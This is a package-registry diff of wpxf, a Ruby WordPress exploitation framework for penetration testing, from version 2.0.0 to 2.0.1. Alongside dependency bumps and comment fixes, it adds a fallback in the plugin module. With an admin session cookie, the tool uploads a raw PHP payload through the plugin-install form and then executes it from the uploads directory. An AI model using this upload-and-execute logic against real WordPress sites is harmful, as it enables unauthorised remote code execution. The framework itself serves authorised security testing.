wpxf 2.0.0 → 2.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 2e6dc34b56da0fd68db342c296a60346337584ccccf3c1c03b54122e9f5bb164
4
- data.tar.gz: 494ef8fd8cdae9d0e7989124005647cfe48c6fe431510d2a0c5e402ff4bd155e
3
+ metadata.gz: 7d5725813c55225ff4ab2155900d81f9d98d2cf4790060868a54068e585be457
4
+ data.tar.gz: 5f55b9c924bcb4e19e5ff34c66a811f1febf3c1ae8cc09d271354ca589f35bfd
5
5
  SHA512:
6
- metadata.gz: d35e6556e102cdea7ac5d43b35b17dec338e2390f81b7977caf4a78de088a112e67f0be0295915f68004026c79d0e89067b4c422b705d17d4bd1256add2e699b
7
- data.tar.gz: 5a10159e78df9016a51771f5eb9a123dd1abd5d6698d02d0923488949c445114aed24064e27710583600f08e661b4ddbcec5a30504d92525694a2d9efd5918e4
6
+ metadata.gz: 21b35d834691a1b0da0565115c695798fcf1436d6ed925217a7a71c2238869df8769cc1a40211e264c7ae1b4c8899114cd5552ff010b47f9ea2a926409224749
7
+ data.tar.gz: 66e3c9db00c3cb34f0637c4a32b667b3e3ea037f03d370755f00e83f21d5ab0aee4c404c29e98176e85b6e21ee5029c9a577992214246fa9cdc34b9177454275
@@ -94,7 +94,7 @@
94
94
  },
95
95
  {
96
96
  "cmd": "use [module_path]",
97
- "desc": "Loads the specified module into the current context."
97
+ "desc": "Load the specified module into the current context."
98
98
  },
99
99
  {
100
100
  "cmd": "workspace",
@@ -34,7 +34,7 @@ module Wpxf
34
34
  File.join(storage_path, filename)
35
35
  end
36
36
 
37
- # Save {content} to a new file and log the loot in the database.
37
+ # Save content to a new file and log the loot in the database.
38
38
  # @param content [String] the file content to save.
39
39
  # @param extension [String] the file extension to use when creating the file.
40
40
  # @return [Models::LootItem] the newly created {Models::LootItem}.
@@ -71,6 +71,7 @@ module Wpxf
71
71
  private
72
72
 
73
73
  def _cleanup_temp_files(fields)
74
+ return if fields.nil?
74
75
  fields.each { |_k, v| v.close if v.is_a?(File) }
75
76
  FileUtils.rm_rf @temp_dir.to_s
76
77
  end
@@ -88,7 +88,7 @@ module Wpxf::WordPress::FileDownload
88
88
  end
89
89
 
90
90
  # Handles an occurrence of an unexpected result.
91
- # @param [Integer] the returned HTTP code.
91
+ # @param code [Integer] the returned HTTP code.
92
92
  # @return [Boolean] true if the code should be ignored, false if the module should fail.
93
93
  def handle_unexpected_http_code(code)
94
94
  emit_error "Server responded with code #{code}"
@@ -21,6 +21,18 @@ module Wpxf::WordPress::Plugin
21
21
  return false if nonce.nil?
22
22
 
23
23
  res = _upload_plugin(name, payload_name, cookie, nonce)
24
+ res&.code == 200 && res.body !~ /plugin installation failed/i
25
+ end
26
+
27
+ # Upload the payload via the plugin form without packaging it in a ZIP file.
28
+ # @param payload_name [String] the name the payload should use on the server.
29
+ # @param cookie [String] a valid admin session cookie.
30
+ # @return [Boolean] true on success, false on error.
31
+ def upload_payload_using_plugin_form(payload_name, cookie)
32
+ nonce = fetch_plugin_upload_nonce(cookie)
33
+ return false if nonce.nil?
34
+
35
+ res = _upload_plugin(nil, payload_name, cookie, nonce, false)
24
36
  res&.code == 200
25
37
  end
26
38
 
@@ -30,18 +42,16 @@ module Wpxf::WordPress::Plugin
30
42
  # @param cookie [String] a valid admin session cookie.
31
43
  # @return [HttpResponse, nil] the {Wpxf::Net::HttpResponse} of the request.
32
44
  def upload_payload_as_plugin_and_execute(plugin_name, payload_name, cookie)
33
- unless upload_payload_as_plugin(plugin_name, payload_name, cookie)
34
- emit_error 'Failed to upload the payload'
35
- return nil
36
- end
45
+ uploaded_as_plugin = upload_payload_as_plugin(plugin_name, payload_name, cookie)
37
46
 
38
- payload_url = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
39
- emit_info "Executing the payload at #{payload_url}..."
40
- res = execute_get_request(url: payload_url)
47
+ unless uploaded_as_plugin
48
+ unless upload_payload_using_plugin_form(payload_name, cookie)
49
+ emit_error 'Failed to upload the payload'
50
+ return nil
51
+ end
52
+ end
41
53
 
42
- has_body = res&.code == 200 && !res.body.strip.empty?
43
- emit_success "Result: #{res.body}" if has_body
44
- res
54
+ _execute_payload_uploaded_as_plugin(uploaded_as_plugin ? plugin_name : nil, payload_name)
45
55
  end
46
56
 
47
57
  # Generate a valid WordPress plugin header / base file.
@@ -61,6 +71,24 @@ module Wpxf::WordPress::Plugin
61
71
 
62
72
  private
63
73
 
74
+ def _payload_url(plugin_name, payload_name)
75
+ if plugin_name.nil?
76
+ normalize_uri(wordpress_url_uploads, Time.now.strftime('%Y'), Time.now.strftime('%m'), "#{payload_name}.php")
77
+ else
78
+ normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
79
+ end
80
+ end
81
+
82
+ def _execute_payload_uploaded_as_plugin(plugin_name, payload_name)
83
+ payload_url = _payload_url(plugin_name, payload_name)
84
+ emit_info "Executing the payload at #{payload_url}..."
85
+ res = execute_get_request(url: payload_url)
86
+
87
+ has_body = res&.code == 200 && !res.body.strip.empty?
88
+ emit_success "Result: #{res.body}" if has_body
89
+ res
90
+ end
91
+
64
92
  def _generate_wordpress_plugin_version
65
93
  "#{Wpxf::Utility::Text.rand_numeric(1)}."\
66
94
  "#{Wpxf::Utility::Text.rand_numeric(1)}."\
@@ -68,8 +96,8 @@ module Wpxf::WordPress::Plugin
68
96
  end
69
97
 
70
98
  # Build the body and return the response of the request.
71
- def _upload_plugin(plugin_name, payload_name, cookie, nonce)
72
- builder = _plugin_upload_builder(plugin_name, payload_name, nonce)
99
+ def _upload_plugin(plugin_name, payload_name, cookie, nonce, create_zip = true)
100
+ builder = _plugin_upload_builder(plugin_name, payload_name, nonce, create_zip)
73
101
  builder.create do |body|
74
102
  return execute_post_request(
75
103
  url: wordpress_url_admin_update,
@@ -90,13 +118,19 @@ module Wpxf::WordPress::Plugin
90
118
  end
91
119
 
92
120
  # A {BodyBuilder} with the required fields to upload a plugin.
93
- def _plugin_upload_builder(plugin_name, payload_name, nonce)
94
- zip_fields = _plugin_files(plugin_name, payload_name)
121
+ def _plugin_upload_builder(plugin_name, payload_name, nonce, create_zip = true)
95
122
  builder = Wpxf::Utility::BodyBuilder.new
96
123
  builder.add_field('_wpnonce', nonce)
97
124
  builder.add_field('_wp_http_referer', wordpress_url_plugin_upload)
98
- builder.add_zip_file('pluginzip', zip_fields, "#{plugin_name}.zip")
99
125
  builder.add_field('install-plugin-submit', 'Install Now')
126
+
127
+ if create_zip
128
+ zip_fields = _plugin_files(plugin_name, payload_name)
129
+ builder.add_zip_file('pluginzip', zip_fields, "#{plugin_name}.zip")
130
+ else
131
+ builder.add_file_from_string('pluginzip', payload.encoded, "#{payload_name}.php")
132
+ end
133
+
100
134
  builder
101
135
  end
102
136
  end
@@ -2,12 +2,12 @@
2
2
 
3
3
  Gem::Specification.new do |s|
4
4
  s.name = 'wpxf'
5
- s.version = '2.0.0'
6
- s.date = '2018-07-14'
5
+ s.version = '2.0.1'
6
+ s.date = '2018-10-06'
7
7
  s.summary = 'WordPress Exploit Framework'
8
8
  s.description = 'A Ruby framework designed to aid in the penetration testing of WordPress systems'
9
9
  s.authors = ['rastating']
10
- s.email = 'rob@rastating.com'
10
+ s.email = 'robert.carr@owasp.org'
11
11
  s.files = %w[lib db data bin].map { |d| Dir["#{d}/**/*"] }.flatten + ['wpxf.gemspec']
12
12
  s.homepage = 'https://github.com/rastating/wordpress-exploit-framework'
13
13
  s.license = 'GPL-3.0'
@@ -15,18 +15,18 @@ Gem::Specification.new do |s|
15
15
  s.required_ruby_version = '>= 2.4.4'
16
16
 
17
17
  s.add_dependency 'colorize', '~> 0.8'
18
- s.add_dependency 'mime-types', '~> 3.1'
18
+ s.add_dependency 'mime-types', '~> 3.2'
19
19
  s.add_dependency 'nokogiri', '~> 1.8'
20
20
  s.add_dependency 'require_all', '~> 2.0'
21
21
  s.add_dependency 'rubyzip', '~> 1.2'
22
- s.add_dependency 'sequel', '~> 5.11'
22
+ s.add_dependency 'sequel', '~> 5.13'
23
23
  s.add_dependency 'slop', '~> 4.6'
24
24
  s.add_dependency 'sqlite3', '~> 1.3'
25
25
  s.add_dependency 'typhoeus', '~> 1.3'
26
26
 
27
27
  s.add_development_dependency 'coveralls', '~> 0.8'
28
28
  s.add_development_dependency 'database_cleaner', '~> 1.7'
29
- s.add_development_dependency 'rspec', '~> 3.7'
29
+ s.add_development_dependency 'rspec', '~> 3.8'
30
30
  s.add_development_dependency 'rspec_sequel_matchers', '~> 0.5'
31
31
  s.add_development_dependency 'yard', '~> 0.9'
32
32
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: wpxf
3
3
  version: !ruby/object:Gem::Version
4
- version: 2.0.0
4
+ version: 2.0.1
5
5
  platform: ruby
6
6
  authors:
7
7
  - rastating
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2018-07-14 00:00:00.000000000 Z
11
+ date: 2018-10-06 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: colorize
@@ -30,14 +30,14 @@ dependencies:
30
30
  requirements:
31
31
  - - "~>"
32
32
  - !ruby/object:Gem::Version
33
- version: '3.1'
33
+ version: '3.2'
34
34
  type: :runtime
35
35
  prerelease: false
36
36
  version_requirements: !ruby/object:Gem::Requirement
37
37
  requirements:
38
38
  - - "~>"
39
39
  - !ruby/object:Gem::Version
40
- version: '3.1'
40
+ version: '3.2'
41
41
  - !ruby/object:Gem::Dependency
42
42
  name: nokogiri
43
43
  requirement: !ruby/object:Gem::Requirement
@@ -86,14 +86,14 @@ dependencies:
86
86
  requirements:
87
87
  - - "~>"
88
88
  - !ruby/object:Gem::Version
89
- version: '5.11'
89
+ version: '5.13'
90
90
  type: :runtime
91
91
  prerelease: false
92
92
  version_requirements: !ruby/object:Gem::Requirement
93
93
  requirements:
94
94
  - - "~>"
95
95
  - !ruby/object:Gem::Version
96
- version: '5.11'
96
+ version: '5.13'
97
97
  - !ruby/object:Gem::Dependency
98
98
  name: slop
99
99
  requirement: !ruby/object:Gem::Requirement
@@ -170,14 +170,14 @@ dependencies:
170
170
  requirements:
171
171
  - - "~>"
172
172
  - !ruby/object:Gem::Version
173
- version: '3.7'
173
+ version: '3.8'
174
174
  type: :development
175
175
  prerelease: false
176
176
  version_requirements: !ruby/object:Gem::Requirement
177
177
  requirements:
178
178
  - - "~>"
179
179
  - !ruby/object:Gem::Version
180
- version: '3.7'
180
+ version: '3.8'
181
181
  - !ruby/object:Gem::Dependency
182
182
  name: rspec_sequel_matchers
183
183
  requirement: !ruby/object:Gem::Requirement
@@ -208,7 +208,7 @@ dependencies:
208
208
  version: '0.9'
209
209
  description: A Ruby framework designed to aid in the penetration testing of WordPress
210
210
  systems
211
- email: rob@rastating.com
211
+ email: robert.carr@owasp.org
212
212
  executables:
213
213
  - wpxf
214
214
  extensions: []